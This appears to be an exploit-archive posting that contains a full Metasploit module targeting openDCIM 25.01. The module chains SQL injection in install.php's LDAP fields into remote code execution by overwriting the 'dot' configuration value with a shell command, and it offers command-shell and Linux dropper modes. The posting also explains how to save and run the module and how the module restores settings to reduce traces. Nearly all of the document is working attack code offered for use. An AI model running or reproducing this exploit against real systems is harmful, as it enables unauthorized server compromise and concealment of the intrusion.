Share
## https://sploitus.com/exploit?id=PACKETSTORM:219185
==================================================================================================================================
    | # Title     : openDCIM 25.01 SQL Injection Leading to Remote Code Execution                                                    |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://opendcim.org/downloads.html                                                                              |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a logical SQL Injection vulnerability in the install.php endpoint of openDCIM, which can be escalated to Remote Code Execution (RCE).
    
    The exploit workflow includes:
    
    A timing-based SQL injection check using SLEEP() to confirm vulnerability.
    Injection into LDAP-related configuration fields stored in the database.
    Creation of a temporary backup table to preserve existing configuration values.
    Manipulation (β€œpoisoning”) of a configuration parameter (dot) to inject system commands.
    Triggering execution through a web request to report_network_map.php.
    Supporting two attack modes:
    Command shell execution (cmd)
    Payload dropper for Linux systems
    
    [+] The module also implements:
    
    Configuration backup before exploitation
    Automatic restoration of settings after execution to reduce impact traces
    
    [+] How to Save & Run (Metasploit Module):
    
    Save the module: open_dcim_sqli_rce.rb
    Move it into Metasploit local path: ~/.msf4/modules/exploits/multi/http/
    Start Metasploit: msfconsole
    Load the module: use exploit/multi/http/open_dcim_sqli_rce
    Set options:
    set RHOSTS <target_ip>
    set TARGETURI /
    Run the exploit:
    run
    
    [+] POC   :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'openDCIM install.php SQL Injection to RCE',
            'Description' => %q{
              SQLi -> RCE via openDCIM install.php (logical fixed version).
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'Targets' => [
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                }
              ],
              [
                'Linux Dropper', {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'CmdStagerFlavor' => ['printf', 'bourne'],
                  'Type' => :dropper
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2026-02-28'
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path', '/'])
        ])
      end
    
      LDAP_FIELDS = %w[
        LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
        LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
        LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
        LDAPContactAdmin LDAPSiteAdmin
      ].freeze
    
      DOT_PARAM = 'dot'.freeze
    
      def install_uri
        normalize_uri(target_uri.path, 'install.php')
      end
    
      def check
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => install_uri
        )
    
        return CheckCode::Unknown unless res
        return CheckCode::Safe unless res.code == 200
    
        return CheckCode::Safe unless res.body.include?('install') || res.body.include?('openDCIM')
    
        print_status('Testing SQL injection timing')
    
        3.times do |i|
          sleep_time = 2
    
          elapsed_time = Rex::Stopwatch.elapsed_time do
            send_request_cgi(
              'method' => 'POST',
              'uri' => install_uri,
              'vars_post' => {
                'ldapaction' => 'Set',
                'LDAPServer' => "'; SELECT SLEEP(#{sleep_time}); -- "
              }
            )
          end
    
          print_status("Test #{i + 1}: #{elapsed_time.round(2)}s")
    
          if elapsed_time < sleep_time
            return CheckCode::Safe('Timing condition not met')
          end
        end
    
        CheckCode::Vulnerable
      end
    
      def exploit
        @backup_table = Rex::Text.rand_text_alpha(8).downcase
    
        fail_with(Failure::UnexpectedReply, 'Backup failed') unless backup_config
    
        case target['Type']
        when :cmd
          fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(payload.encoded)
          trigger_exec
        when :dropper
          execute_cmdstager
        end
      ensure
        cleanup_config
      end
    
      def execute_command(cmd, _opts = {})
        fail_with(Failure::UnexpectedReply, 'Poison failed') unless poison_dot(cmd)
        trigger_exec
      end
    
      def trigger_exec
        send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
          'vars_get' => { 'format' => '0', 'containerid' => '1' }
        )
      end
    
      def inject_sql(field, sql)
        form = { 'ldapaction' => 'Set' }
    
        LDAP_FIELDS.each do |f|
          form[f] = ''
        end
    
        form[field] = "'; #{sql}; -- "
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => install_uri,
          'vars_post' => form
        )
    
        res && [200, 302].include?(res.code)
      end
    
      def backup_config
        inject_sql(
          'LDAPServer',
          "DROP TABLE IF EXISTS #{@backup_table};
           CREATE TABLE #{@backup_table} AS
           SELECT Parameter, Value FROM fac_Config
           WHERE Parameter LIKE 'LDAP%' OR Parameter='#{DOT_PARAM}'"
        )
      end
    
      def poison_dot(value)
        safe = value.to_s.gsub('"', '\"')
        inject_sql('LDAPBaseDN',
                   "UPDATE fac_Config SET Value=\"#{safe}\" WHERE Parameter='#{DOT_PARAM}'")
      end
    
      def restore_config
        inject_sql(
          'LDAPSiteAdmin',
          "UPDATE fac_Config c
           INNER JOIN #{@backup_table} b
           ON c.Parameter=b.Parameter
           SET c.Value=b.Value;
           DROP TABLE IF EXISTS #{@backup_table}"
        )
      end
    
      def cleanup_config
        return unless @backup_table
    
        print_status('Restoring configuration...')
        restore_config
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================